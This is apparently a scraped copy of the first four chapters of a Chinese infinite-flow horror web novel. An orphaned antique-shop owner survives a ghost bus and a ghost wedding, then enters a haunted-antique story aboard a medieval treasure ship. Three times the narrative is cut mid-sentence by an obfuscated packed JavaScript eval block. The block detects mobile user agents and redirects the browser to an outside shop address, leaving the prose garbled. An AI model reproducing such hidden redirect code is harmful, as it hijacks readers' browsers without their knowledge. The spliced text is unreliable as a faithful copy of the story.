《快逃!有人在尖叫[无限]》 1. 诡异的末班公交 “轰隆隆!” 临近傍晚,灰蒙蒙的天在一声闷雷后哗啦啦地下起雨,古董店外刚才还有几个路人,大雨下起来后,则是一个人影也见不到了。 徐宝珠对此见怪不怪,自她继承这间古董店以来,很少开张,就算偶尔有感兴趣的顾客也会被店内正中摆放的一副红木棺材吓到脸色煞白,然后慌乱逃跑。 偏偏徐宝珠还动不了它,徐爷爷在去世的那天握着她的手不放,老爷子躺在床上,提起那副棺材时,布满沟壑的脸上顿时忌惮无比。 他拉着徐宝珠的手不停颤抖,千叮咛万嘱咐道:“千万……千万……不能动……它……” 那口棺材据说是徐爷爷年轻的时候就已经摆在那了,通身呈水红色,四周雕刻着复杂精致的花纹,像是某种古老又神秘的语言。 店外的雨丝毫没有减弱的趋势,细密的雨丝被冷风吹到店门口打湿了几步台阶。 看这样子,今天也是不会有客人来了。 徐宝珠坐在柜台后面开始思考一会打烊后是吃火锅还是吃麻辣烫,她想的出神,自然也就没意识到这店里多了一个人。 “你的快递。”戴着帽子的快递小哥将纸盒子放在玻璃台上面,“请签收。” “好。”徐宝珠接过快递,暗自赞叹最近的快递服务周到,外面这么大的雨,快递纸盒居然完全是干的,没一点被雨淋到。 将单子还给快递员后,徐宝珠也准备打烊回家,她收拾好东西,站在门口打量着店里面是否有忘记带回家的东西。 徐宝珠的眼神大致扫视完店内之后,目光移到地面,突然,徐宝珠目光一滞,紧紧地盯在某处。 照理说倾盆大雨的天气,可为什么快递小哥站的地方……一点水迹也没有? 他才离开不到两分钟,也不可能干得这么快,连一点水痕也不存在。 想到这,徐宝珠立马打开包将快递盒拿出来,黄色纸盒四四方方,上面贴着的单子确实是她的姓名地址,只是快递公司的名字很少见,也许是哪家刚成立的物流公司也说不定。 她将快递拆开,里面空荡荡的只有一截指关节长的骨头,徐宝珠拿出来放在手里打量,像是人骨又像是从人体模型上掰下来的一截。 徐宝珠安慰自己都是胡思乱想罢了,把东西揣在口袋后,匆匆锁门打伞回家。 古董店开在晋城中原东街上,曾经热闹无比,后来随着市政府的规划,商业区渐渐移到别的地方,而这里交通不便利,客流量又少,大部分商户都已经关门,只剩下徐宝珠这样祖上传下来的店铺老板不肯轻易放弃还在坚持着。 下着大雨,街上公交车车次明显减少了,徐宝珠在站台等了许久才终于从远处缓缓驶来一辆。 上车前徐宝珠看了下手机时间,这差不多就是今天的最后一趟车了,车上的人不多,零零稀稀的几个人分开坐着,见她上来时也没多看一眼,徐宝珠找了个空着的后座坐下。 这时车开动了起来,南方的天总是黑的比较早,连带着车内也是昏沉沉的,偶尔汽车红色尾灯的灯光洒进车内,忽明忽暗的交织在一起。 窗外雨声淅沥,雨滴打在车窗上,啪地一声,在安静的车内显得格外突兀。 末班车平稳地开着路上,车厢内过分的寂静,一直没人说话,就连呼吸声也很小,就好像大家都没有呼吸一样。 徐宝珠不敢多想,将头转向窗外,这一看更加惊悚,这辆车什么时候开到悬崖边上去了! 她再迟钝也意识到不对劲,徐宝珠白了小脸,从位置上站起来跑向驾驶位,她伸手用力地按下门铃,“师傅!快停车!我要下车!” 一身制服的男司机没有理会她,仍然开着车朝悬崖边去。 徐宝珠扭头想找其他人帮忙,却看见车内其他人齐刷刷地看了过来,无一例外都是青白了脸,一双黑色眼珠一动不动地盯着她,徐宝珠惊骇不已,软了腿扶着旁边的柱子才站稳。 她心思翻涌,小心翼翼地往驾驶位看过去,只见刚才还开着车的司机不知道什么时候侧过脸恶狠狠瞪着她,粉刷的脸毫无生气,颊上两团大红显得无比怪异,墨笔画的嘴巴翘着诡异的弧度。 徐宝珠被吓到紧紧拽着门口的柱子,思考是用头砸玻璃快还是用脚踹比较快,但她随即否定了这个念头,毕竟鬼车应该不能用一般的车来对比。 鬼司机已经放开了方向盘,张牙舞爪地朝她扑过来,徐宝珠心中一急,连忙就地一滚,手腕立马被一只手抓住,她正想甩开,却惊讶地发现对方的手居然是有温度的。 “我靠,你什么时候上来的!” 短发少年拉着她左躲右闪,一边说话一边从口袋里拿出符咒阻挡身边面目可憎的鬼物,那些鬼居然真的会害怕符咒呲着牙却不敢靠近他们。 徐宝珠看得惊奇,少年举着符穿梭在鬼车内,黄符一碰到鬼就迸发出一阵幽蓝色的光芒,那几个鬼被鬼定在原地,最后只剩下司机鬼,它应该是属于这几个鬼物中本事最厉害的,少年和它对阵了好几个回合也没能占到上风。 司机鬼站在前半节车厢,少年站在中间,一人一鬼对峙着周旋,司机鬼双手指甲猛然迅速增长,它左右张望车厢内被制服的同伴,怒气上涨,扑棱着上来,少年也不甘示弱,一连甩出好几个符咒。 可是这只鬼好像完全不害怕符咒,用一米长的指甲拨开身上剩余的黄纸,冲着少年诡异地一笑。 少年滚地躲过鬼扑过来的攻击,他在口袋里翻找什么东西,但随之脸色突变,懊悔地脱口道:“倒霉倒霉!” 少年扭眼看见徐宝珠躲在最后排的椅子后面,皱眉冲她喊:“快把东西给我!” 徐宝珠莫名其妙,她怀疑地在周围看了一圈,也是这时才看到手上被划了一道口子,缓过神来,冰冻的触觉渐渐恢复,缓慢而来的疼痛感席卷全身。 “什么!?” “脚边的东西!”男生一边躲着鬼物的袭击,一边想法子和她解释,手足无措的模样可怜又好笑。 徐宝珠原先还没听懂,直到看见角落里少年落下的铃铛,她捡起铃铛往少年扔过去,对方接住后一瞬间士气大涨,举起铃铛摇晃,和她以往听过的铃铛声不停,少年手里的铃铛声沉重悠长,刚才还獠牙进攻状的鬼怪被铃铛声定住,待在原地不动。 男生将全部鬼物定住以后,从口袋里拿出一个画着八卦的黄袋子把定住的鬼物收了进去,他收紧袋口,用两根袋子系了一个结挂在腰间。 一转身,瞧见刚才的漂亮姑娘呆滞地站在后面,夜晚的玻璃车窗影影绰绰倒映出少女苍白的脸,精致小巧的脸掩在墨泼般柔顺的黑色长发里,一双好看的眉眼下投映淡淡的乌青,再往下嘴角紧抿,唇色极浅,整个人像是一副墨笔画就的山水墨画。 只是整个人浑身死气沉沉,肉眼看不出一点生气,也就导致贺州一直没注意到徐宝珠上车。 照理说外貌优越的徐宝珠上车时他不会没有注意到,贺州将徐宝珠上下打量一番,见她印堂发黑,原本意气的脸骤然垮下,“你最近是不是遇见什么怪奇的事?” 徐宝珠眼神下移到他腰间的袋子上,眼里明晃晃地说着,现在这不就是怪奇事吗? 贺州也发觉到她的眼神,作势咳嗽两声,解释道:“抱歉,我看你印堂发黑,最近也快到中元节了,所以……” “没事。”徐宝珠轻声道,“你是道士?” “不不不,只是略学了一点皮毛。” 贺州不好意思地挠头,秀气的脸瞬间脸红,突然又想到什么,一瞬间严肃起来,“这群小鬼在阳间作恶多端,我跟踪这群小鬼半个多月,今天好不容易逮到他们回阴间,只是没想到你突然上了这辆车,你命格纯阴,所以可以看见这些东西。” 纯阴之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526653|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自幼丧母,继而丧父。 徐宝珠听到贺州的话神色恍惚,二十三年前她刚出生时也有个道士说过同样的话,果不其然,道士的谶言都一一实现,徐母在产后第二天大出血去世,徐父艰难把她抚养到五岁也被一辆酒驾肇事的货车撞倒去世。 徐家的亲戚对他们避如蛇蝎,最后也只有徐爷爷愿意冒着生命危险养她,可惜老爷子身体一直不好,岁数大了骨头脆,去年冬天的时候在结冰的路上摔了一跤就再也起不来。 贺州见她低头坐着,侧过身不再说话,以为徐宝珠被吓坏了,于是提出开车送她回家。 徐宝珠也没客气,毕竟在荒郊野岭的夜晚,她也没办法自己回去。 贺州看上去年纪小,话却密得很,一直在讲话,徐宝珠只说了一个地方后就再也没说话,一直安静地听着驾驶位上的贺州叽叽喳喳。 公交车驶入马路后,两旁明亮的路灯让徐宝珠感到了一些生气,将近零点的路上空无一人,偶尔有几辆汽车路过。 忽然,徐宝珠惊骇地将头从靠着的玻璃窗上挪开,双眼因为惊惧而猛地睁大,脑中一直回想着刚才看见的一幕。 昏暗的灯光下,影影绰绰地站着一个举着伞的男人。 细细密密的雨丝里,男子打着一把黑伞长身鹤立地站在路边,黑色衬衫长裤,及腰的黑色长发用一条绳子松松绑着垂在背后。 雨丝被风吹到男子脸上,顺着下颌利索的线条流下,掠过灰白紧绷的薄唇,继续往下流入青年脖子里,隐隐在纽扣缝隙间泛着晶莹明亮的水光。 青年衬衫的衣袖规规矩矩挽起,露出白皙瘦弱的小臂,五根纤细修长的手指握着伞柄,见徐宝珠看过去,男人抬高伞沿,空洞洞的眼睛阴森森直盯着她。 不。 徐宝珠很快地否定了这个想法,他不是人,怎么会有人站在路灯下却没有影子呢? 徐宝珠握紧扶手,深深呼出一口气,再次回头时,路边的死鬼已经消失不见了,她急促的呼吸放缓下来,还好……还好没有跟上来。 刚好这时公交车也停了下来,徐宝珠看见熟悉的小区名字,终于放松下来。 贺州站起来,“你脸色不太好看,没事吧。”他以为徐宝珠还沉浸在刚才的事情中。 徐宝珠斟酌用语:“为什么前二十多年我看不见这些东西,现在突然又能看见了?” 贺州噎了一下,他长这么大,还从来没有见过活人身上有这么重的阴气,这姑娘是头一份,“也许是因为中元节到了……这样,你要是不放心我们留一个联系方式,有事就可以给我打电话。” 贺州见徐宝珠脸色苍白,柔美的眸子微微颤抖,于是又多加了一句。 徐宝珠加了贺州的联系方式提着的心才稳定下来,下了车走进小区。 夜晚的小区像是一头巨大的野兽,张着深渊巨口等着徐宝珠走进去。 “徐姐姐,徐姐姐。” 徐宝珠低头飞快地朝家里走,就连背后有人叫她也没听见,还是有人拉住了她的手才发现。 徐宝珠转头看见是邻居家的小女孩在喊她,松了口气,扯出一抹牵强的笑容,“婷婷你怎么在这,妈妈呢?” 婷婷笑容灿烂,声音纯真,“妈妈在家里,我和哥哥在玩拔河呢。” 徐宝珠下意识地点头,丝毫没有意识到婷婷为什么凌晨的时候还在外面玩游戏。 婷婷突然把系在腰间的绳子解下来,将绳子的头递到她手上莫名其妙地说了一句,“姐姐,哥哥说想和你玩。” 徐宝珠看着手里的绳子,白色的棉麻极速地蜕变成刺眼的红,目光随着绳子往另一头看,放下去的心又瞬间提到了胸口,她刚才一直忽略了一件事…… 耳边一直围绕着婷婷诡异的笑声,徐宝珠声音颤抖,“婷婷,你在和谁说话?!” “绳子对面根本没有人!” 2. 死鬼男人 徐宝珠像是做了一场噩梦,醒过来的时候浑身软绵绵的使不上力气,脑子里浑浑噩噩的。 缓过一阵后,徐宝珠这才意识到自己坐在一个轿子里,手里攥着的绳子突然变成了大红绸缎,身上也被人换成了绣着凤凰翱翔的红嫁衣。 脑子终于转过来的徐宝珠虽然弄不清楚现在的情况,但她用尽全身力气身体也始终牢牢地坐在花轿中。 花轿晃悠悠地往前走,不知道过了多久,当徐宝珠听见唢呐声的时候,终于停了下来。 “新娘下轿!”媒婆尖声高喊。 徐宝珠端坐在轿内没动,她私以为自己不动就不会亲眼瞧见那些东西,却没想到在盖头有限的视角下,媒婆伸手掀开了轿帘,三寸金莲的黑色绣花鞋站在外面不动,再次开口时似有威胁的含义,“姑娘……不要误了吉时才好。” 徐宝珠顿时好像一桶凉水被人从头顶泼下,浑身发寒。 接着,徐宝珠像是被人控制一样,竟然真的搭上媒婆冰凉的手,跟着她走出了花轿。 她像是处在一座小院里,周遭站着许许多多双同样的绣花鞋布鞋,但他们同媒婆一样,即使是在夜晚的灯光照射下。 ……都没有影子。 徐宝珠莲步往正厅走,两边站着喜娘喜童说说笑笑,手里提着篮子,不时往外撒着白花,声音细声尖嗓如同鬼语。 但仔细看,那些所谓的喜童喜娘露出的外面皮肤都是雪白的纸人! 突然,一个喜童倏地弯腰,纸做的头掉到地上猛地转头朝上看,正对上徐宝珠盖头下正在打量它们的眼睛! 徐宝珠一瞬间屏住呼吸,那鬼喜童的脸同她看见的鬼司机的脸一模一样!都是裂着诡异的黑色嘴巴笑着,白纸脸上涂着两团大红色,喜气洋洋。 鬼童见被发现,也不生气,从地上捡起它的头安上,高高兴兴地继续撒花。 “小心门槛。”耳边有人说话,声音又尖又细,像是虫子顺着耳朵钻到脑子里,头疼得要命。 徐宝珠低头只能瞧见她穿着的红绣花鞋顶上缀着的一只金凤凰,下头吊着几颗大珍珠,屋内的吹拉弹唱声音更凄惨,不像喜乐,更像是丧乐。 徐宝珠踩着坟片纸一步一步地由媒婆牵着,视野里出现了一双黑色布鞋,鞋的主人脚掌点地,后脚跟高高抬起,只有死人才会这样站,她只看了一眼就移开了眼神,明知道这是场自己不能拒绝的冥婚,但亲眼看见还是心惊肉跳。 大红绸缎的另一头被媒婆转交到新郎手里,那是双好看的手,手掌白到泛青,左手食指上戴着一只紫光檀戒,骨节分明的手指握着鲜艳欲滴的红绸,诡秘的和谐。 刚才还在说话,奏乐的鬼纷纷停了下来,一个太监嗓的人大喊道:“一拜天地!” 徐宝珠僵硬着身子不肯动,媒婆的手在她腰间轻轻一点,她就不受控制般地弯腰。 “二拜高堂!” 媒婆扶着徐宝珠转弯,盖头飘动的视角下,徐宝珠瞧见案桌上供着香烛纸钱等忌品,用黑纸剪成的奠字贴在香烛上,两边挂着白布,除了徐宝珠,所有的一切都是黑白两色。 “夫妻对拜!” 踮脚的布鞋转了过来,徐宝珠弯腰时身上的骨头不停地僵硬摩擦,咔嚓作响。 “礼成!”随着声音落下,周围的喧闹再度响起,徐宝珠由鬼新郎牵着朝新房走回去。 徐宝珠坐在床边,鬼新郎踮着脚在屋内迎来送往,送走最后一个客人,鬼新郎关上门,在门口徘徊一阵,朝着她走了过来。 徐宝珠心里一百万个拒绝,生怕看见一张死状难看的鬼脸,于是在鬼新郎伸手要掀开盖头时,侧身一躲居然真的躲开了它的手,也是这时候徐宝珠发现自己能够动了,她迅速地站起来,跑到离它最远的地方。 “你快死了。”鬼新郎顿了一下,青白的手垂下,它也不生气,自己坐下后倒了一杯茶后冷声道。 徐宝珠心想你这不是废话吗,她要是没死能和你成亲? “你现在还没死。”像是猜到了她心里的话,鬼新郎又接着开口。 “什么!”徐宝珠大怒道,她扯掉红盖头,怒视着鬼新郎,准备开口要个说法,却在看清对方的脸后猛地怔住后退两步,“你……你……你追过来了!” 男鬼面对着她坐在桌前,见她看过来,空洞的眼眶朝她看过来。 这不就是她晚上看见的那只死鬼吗! 周槐引没理会她的惊讶,“如果不想死,就赶快坐下来听我说。”他想了一刻,又添上一句,“我知道你是徐小子的孙女,我只是帮故人一个忙。” 徐宝珠小心翼翼地走过去,“你说的徐小子是我爷爷?” 她这话问完,就看见周槐引向她看过来,虽然没有瞳孔,但徐宝珠确信对方一定是在鄙视她。 周槐引也不故作高深,直接将徐爷爷的嘱咐一五一十地告诉她。 原来,二十多年前那个道士还留下一句话,纯阴之人,自幼丧母,继而丧父,双本丧命。 前两条谶言已经实现了,最后一条谶言说她会在第二个本命年,也就是二十四岁那年丧命,徐宝珠是在中元节的夜晚出生的,也就是说,再有两天就是她二十四岁的生日。 如果谶言成真,徐宝珠就剩下两天的寿命可活。 这样想来,最近遇到的一系列古怪事就能说通了。 而周槐引,就是应徐爷爷的嘱托来帮她的,周槐引的话里讲到他和徐爷爷是几十年前就相识的故人,当时徐爷爷只有十岁在周家帮工,周槐引二十岁,给了徐爷爷很多帮助。 周槐引去世后因为一些原因没有入周家的祠堂,一直由着徐爷爷供奉守护,就连他的棺椁也一直摆在徐家的古董店里。 徐宝珠想到古董店摆着的那副棺材主人在这,背后一阵发凉,她打量周槐引几眼,试探着问:“既然我快死了,你要怎么帮我?” 周槐引两根手指虚握着茶杯,闻言,抬起头高深莫测,“借命。” “借命!?借谁的命?” “徐家的古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526654|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董店在许多年前四面环山,明堂开阔,在风水学上是一块宝地……”周槐引说到一半突然停下,转而向徐宝珠提问。 “你了解过店里那些古董的来历吗?” 徐宝珠摇头不知,徐爷爷从来没有跟她说过那些古物是怎么来到她家的,只知道从有记忆起它们就在这里了,并且每隔一段时间都会有新的古董出现,店里客人很少,但只要徐爷爷出差一段时间就会很神奇地卖出去一件。 周槐引见她一脸迷茫,脸色又冷了几分,心想徐小子将她这个孙女保护的太好了。 “把手机打开,看看上面是不是多出一个软件。” “我看看……”徐宝珠将手机解锁,惊奇地发现手机桌面上真的多了一个黑色标识,董字上面一朵白花,漂浮在黑色棺材上,她低声喃喃将软件名念了出来,“恐怖故事古董店。” 徐宝珠点开软件,白色的界面和一般的购物软件没什么区别,只是上面售卖的都是徐家古董店的东西。 翻到持有人那里的一堆名字,徐宝珠俏脸煞白,她还在其中找到了徐爷爷的名字,每个名字外面都已经加上了红框,代表着已经去世。 “这间古董店已经存在了上百年,持有人不下百个,当上一任持有人死亡后,它会自动寻找下一任合适的持有人,你命格纯阴,寿命已尽,是它最好的选择。”周槐引解释道。 “签下契约,帮助古董里面的冤鬼驱散怨气,就能获得你想要的东西。” 徐宝珠立马想到店里诡异的多出来的那些古董,后背一阵发凉,“你的意思是……那些古董里都是鬼?”脱口而出后,她又陷入了后悔,眼前这位不也在店里? 她小心翼翼地偷窥周槐引,生怕这位一个生气就不管她了,他要是索性不管,恐怕徐爷爷也拿他没法。 还好周槐引看上去并没有生气,他侧眼盯着虚无,声音没有一丝起伏地继续解释。 “不过帮助它们的代价非常大,这些都是在各种恐怖故事当中死去的冤鬼,你如果决定签下契约,就要代替它们亲身参与到当中并且成功活下来,反之,如果失败,你则当场死亡。” “而且……”男人的话卡了一下,继续道:“一旦签下契约,除非死亡,否则永远不能摆脱它。” “这样你确定还要签吗?”男人掀起眼皮看向面带犹豫的她。 徐宝珠自暴自弃地耸肩,满是无所谓,“反正不签约也会死,不如赌一把。” “不过我有个疑问……你如果想告诉我这些,为什么不直接说非要拉我和你冥婚?” “这是唯一能让我跨越空间找到你的方式。”周槐引语气无异,明明说的是正经话,可徐宝珠还是莫名臊得慌,她匆忙点头,岔开话题,“那我和它签完约就可以去故事里面了?” 周槐引点头。 徐宝珠划开软件,在签约界面通过人脸识别以后,消息标识上瞬间多了一个红点,她刚想点开,却被一只青白的手拦了下来,回过头,周槐引语气平淡,“万事小心。” 3. 中世纪的寻鲛船 苍茫无边的大海上,狂风裹起波涛汹涌的海浪袭来,浪涛一股股强劲地打在船身,反溅起三米高的浪花。 乌云密布的天空将海面盖得严严实实,不见一丝亮光,天边偶尔响起几声雷鸣,铺天盖地的雨滴打在海里,随即和黑沉沉的海水混为一体。 “快点!快绑好!” 耳边响起男人不停催促的粗粝大嗓门。 徐宝珠是被打在脸上冰冷刺骨的雨水浇醒的,她强忍着寒冷睁开眼,随即惊悚地发现自己居然趴在一根十八米高的桅杆上,她意识到这茬后,脑子里瞬间懵了,下意识地手脚并用抱着桅杆不敢动。 “你干什么呢!快绑啊?!”底下的人不耐烦了,指着徐宝珠瑟缩的模样骂。 绑什么? 被海上的冷风一吹,徐宝珠脑子也清醒了几分,她双目无神地左右瞧了瞧,发现手边的确有一根手臂粗的麻绳。 桅杆在暴风雨的拍打下本就不稳定,偏偏桅杆上还爬着好几个像她这样上来绑船帆的水手,上下来回动,导致桅杆更加不稳,在风雨中晃来晃去地十分危险。 徐宝珠忍着刮脸的海风,小幅度地动了下手臂去够风帆,她不敢一下把两只手都松开,害怕自己滑下去,于是小心翼翼地试探着把帆拉到身前。 宽大的白帆被疾风吹得啪啪作响,每次眼看就要碰到了,结果下一秒就被晃荡的船只吓到又缩回去。 底下的水手长被她这副怕死的模样气得不行,一把抓下帽子,随手从旁边抓了一个刚才从后桅下来的船员,把他往主桅用力一推,命令道:“你,上去!” 那人满脸的不情愿,但看着水手长狠厉的眼角,还是畏缩地往主桅走。 有人爬桅杆时,桅杆又开始晃动起来,徐宝珠吓得连忙喊出声,“你别上来,我马上就绑好了!” 那人爬杆子的动作停了,但他也没走开,而是就站在杆底下抬头望着徐宝珠。 感受到杆子又稳下来后,徐宝珠才缓缓呼出一口气,她眼神落在被风不断吹鼓又变瘪的白帆上,一秒,两秒…… 等帆被风吹到眼前时,她飞快地伸手紧拽着帆的一角,绕过主桅,把两只胳膊搭在横杆上稳住身体,隔着一根大木头,在对面套紧横帆。 打完结后,徐宝珠学着别人的样子,两条腿圈住杆,中间留一点缝隙,借着雨水的润滑,两条腿内侧摩擦着木头滑下去。 然而她低估了桅杆的滑度,被雨水冲刷了一整天的桅杆无比湿滑,她胳膊刚一松劲,整个人就如同坐火箭一样急速地滑到了甲板上。 她还没缓过神,屁股就被地面上残留的雨水浸湿,整个人又痛又湿地愣坐在原地。 “还不起来?没摔够?”先前被水手长喊过来的另一个水手见她傻子一样地坐在地上,站在背后事不关己地调侃了一句。 “哦。”徐宝珠看了他一眼,松开桅杆站起来。 她眼神往上瞟,落在自己不断滴水的帽檐上,望着对面的男人也是同样的落汤鸡模样,她吹开雨水,不想傻站着被淋,于是冲男人抬下巴示意,“我先进船舱里了。” 德林抱着胳膊,不屑地撇她一眼,他扭头吐出嘴里嚼着的一坨黑糊糊的东西,他摆手走向船头,“女人就是没用,这点苦都受不了,你自个回去,我还要守着夜灯。” 徐宝珠忍了忍他口里的瞧不起,目光落在船头一盏半人高的棕色铁皮煤油灯上,灯顶盖着油皮纸,以免被雨浇灭。 而德林,就是负责守夜,确保灯笼整夜都亮着的人。 她眯着眼瞧了两秒,被逐渐变大的雨势挡住了视线,才转身下船舱里面。 徐宝珠穿着湿透了的衣服在偌大的船里面到处走,湿漉漉黏在皮肤上的感觉很不好,勒得脖子呼吸不顺畅,她往外扯了扯,才感觉松了口气。 船只一共有三层甲板,整艘船都是木质的,在海上稍微一晃荡就能听见木板的吱嘎声。 她站在窗户边上,曲起手指轻轻敲了敲船身,沉重的木板声顿时回响过来,她才稍稍松下心,至少不是沉船类的恐怖故事。 她可不会游泳。 她一直下到最底层的甲板上,刚爬下梯子,就听见了里面房间几个男人欢呼雀跃的声音。 偌大的底层甲板上,用绳索套着几乎堆积着半边甲板的椭圆木桶,每只木桶都沉甸甸的,里头隐隐散发着腌制品的味道。 “嘿!你来这里干什么?!” 徐宝珠刚在甲板站了不到三分钟,身后忽然响起女人愤怒的质问。 她吓了一跳,转过头发现是一个身材有些微胖的女人,女人戴着灰围裙和兜帽,鹰钩鼻上长满斑点,手里挥舞着大勺子,瞪着她,“水手不该私自来这里!” 说完,不等徐宝珠回答,女人就冲过来把她推开,自顾自地检查起这堆木桶。 她佝着腰,提着微暗的煤油灯在木桶上照,仿佛在确认什么。 见木桶顶部的封条完好,没有被人动过的痕迹,女人这才松了口气。 她转过脸,看着还没离开的徐宝珠,以为她是饿了下来偷吃的,睨着眼赶人,“船员的船舱都在上面,快回去。” 徐宝珠悻悻而归,这女人像守宝藏一样守着这堆食物,即便她没有偷吃的打算,也被女人死死盯着不放。 中间的甲板上倒是安静不少,用三米宽,高度挨着甲板顶部的木板把甲板简易地隔成了几个房间,每个房间都摆着八张木箱床。 八张床,每四张连在一块,防止床因为船身晃动而乱跑。 现在差不多是深夜,船上的水手都回到了各自的船舱,一路走来,鼾声如雷。 她屏着呼吸,挨着门口走过去,船舱即便是有门,但鱼腥味和每个人身上散发的臭味还是让她难以忍受。 徐宝珠暗暗数着船舱门牌号,她不知道自己住在哪一间,也不知道自己会不会和一群男的挤在一起睡,光是想想就足以让她崩溃。 好在,一直走到最后一间船舱门口的时候,里头还有人没睡,点着灯在聊天,见着站在门口的徐宝珠,两个看上去和她差不多年纪的女人叽咕地笑了下,然后冲她喊。 “你快瞧她,浑身脏成什么样了?” 另一个小眼睛金色头发的女人则是附和着她点头,手中钩织的动作不停,“乔琳,人家徐可是水手,哪能和我们比呢?” 被唤作乔琳的女人听了,浑身的刺更尖锐地竖起来,她斜眼瞪着徐宝珠,“女水手怎么了?女水手不还是和我们整天钻柴火堆的厨娘们一样脏兮兮?!” 乔琳一顿阴阳怪气地讽刺完之后,见徐宝珠还是傻愣着没动,她眉毛一竖,扯着嗓子干吼,“你瞧瞧她,连进来和我们一起睡都不愿意了,多高贵啊!” 虽然乔琳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526655|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在讽刺她,但徐宝珠心底还是悄悄地感激了下对方。 她走进船舱里面,发现这里加上她只有六个人,她站在过道,目光浅浅地扫视了遍空的木箱床。 两张空荡荡的什么也没放,剩下一张放着枕头和被子。 她目光定在最后一张床上,迈腿走过去。 用来做床的木板都是干燥的,四四方方的小木块做出一条长方形的小床,躺进去硬邦邦的床板硌人得要命,宽度也勉强只能翻身。 她生无可恋地平躺在木箱床里,双手交叠放在小腹,忽然觉得自己也算是提前躺过一回棺材了。 就连大学宿舍一米二的床也比这条件好上不少,中世纪真害人! 周槐引呢? 这人不是说跟他结婚之后,他马上就能感应到自己在哪吗? 哪有把新婚妻子一个人丢在不知道哪个世纪的棺材里面的丈夫?! 这床应该给周槐引睡才对,他不是行家吗? 她脑子里乱糟糟的,想七想八地静不下来,忽然,一道清脆碰撞的玉环声音在她头上响起。 徐宝珠立马睁眼,发现乔琳突然伏过身,手里拿着一串玉佩吊在她脸上。 “这是什么,是东方的首饰吗?” 她一瞬间坐起来,目光警惕,“你从哪来的?” 这种东方的东西,只有东方人才有,而整艘船上,只有她一个东方人。 她下意识地从乔琳手里夺过,紧握在手心里,心头忽然涌起一股熟悉的感觉。 见她这样紧张兮兮的,乔琳撇嘴,嘴里咕噜了两句后就回床上了。 等人离开后,徐宝珠才摊开手心,触手生温的玉佩静静躺在她的手心,借着屋内微弱的光线,她才看清了上面的图案。 青白色的玉佩上刻着一条栩栩如生的鲤鱼。 这块玉佩,前年打扫库房时,她见过,这就是古董店的东西! 徐宝珠想起来后,脑子里瞬间多了一段记忆。 他们这条船不是普通出海打捞的船,而是一次专门为宝藏而来的航行。 在遥远的传说中,波莫尼大海深处有鲛人出没,而这群鲛人守护着上百年来航海者所遗留下来的宝藏。 数十年来,所有船长都趋之若鹜,纷纷驾船出海寻找,但都无一生还。 马修是这艘盖伦船的船长,他去航海中心出钱召集了这艘船的船员,徐宝珠的顾客就是这次被召集的船员之一。 而且,她还是唯一应召的女水手,一上船就受到了所有人异样的眼光,男人嫌她拖后腿,女人骂她爱出风头。 总之,她在这艘船上几乎都是独身一人。 记忆到这里就结束了。 徐宝珠拇指摩挲着玉佩,她这下明白了,古董原来是充当补全背景的作用。 只不过……顾客的记忆并没有这艘船后来发生的事,但她一定是惨死在这艘船里,才会有这么大的怨气难以消散。 既然是恐怖故事,那么顾客被非人类生物杀害的可能性就很大。 船舱里的煤油灯熄灭了,舱内再度恢复无边的黑暗,只有窗外的大海上,偶有闪电的亮透进来,将她的影子投射在对面的木板。 她目光沉寂地挨个掠过舱内的五个人,脑子里陡然清醒。 非人类,不就是故事里的…… 鲛人?! 4. 海中漂浮的神秘岛屿 夜晚的波莫尼大海如同黑暗中蛰伏着的巨兽,滔天的巨浪不停拍打着船背,小船漂浮在起伏不定的海面上,随着海浪的涌动不断上下起伏。 只有熟练的船员才能适应这种艰苦的环境,才能毫无影响地入睡。 然而徐宝珠就遭殃了,她长这么大连船都没坐过,更别提头一次上船就是在深海中央。 整夜的海浪将船晃得左摇右摆,徐宝珠几乎是抠紧了木箱船的船板,想用钻心的痛让自己清醒一点,并且忍住想呕吐的冲动。 她晕船了。 直到天边泛起一抹灰白,水手长厚底的皮靴在甲板上沉沉响起时,她才睁着一双乌青的大眼睛试图从木箱里爬起来。 “起来了起来了!” 水手长挨个地在船舱门口咚咚咚地叩门,边叩边大声催促。 他走到最后一间船舱时,抬起的手顿了两秒,脸上闪过一丝迟疑,然而他刚下定决心敲门时,就见木板吱嘎一声,从里面被人打开。 脸色苍白无力的女人突然出现在门口,她垂着头,一头长发如海藻般柔顺地搭在身前,看上去幽怨又诡异的和谐。 水手长抬起的手落在半空里僵住,他白着脸盯着徐宝珠没说话,然而颤抖的手臂还是暴露了此刻他心里的念头。 徐宝珠抬眼看见面前傻住的男人,开口想问自己今天需要做什么,然而她刚一张口,忍了一晚上的吐意猛地从嗓子眼泛上来,哇地一声吐了出来。 她用胳膊撑着门,防止自己摔倒,然而她吐完之后,才突然觉得周围一片死寂。 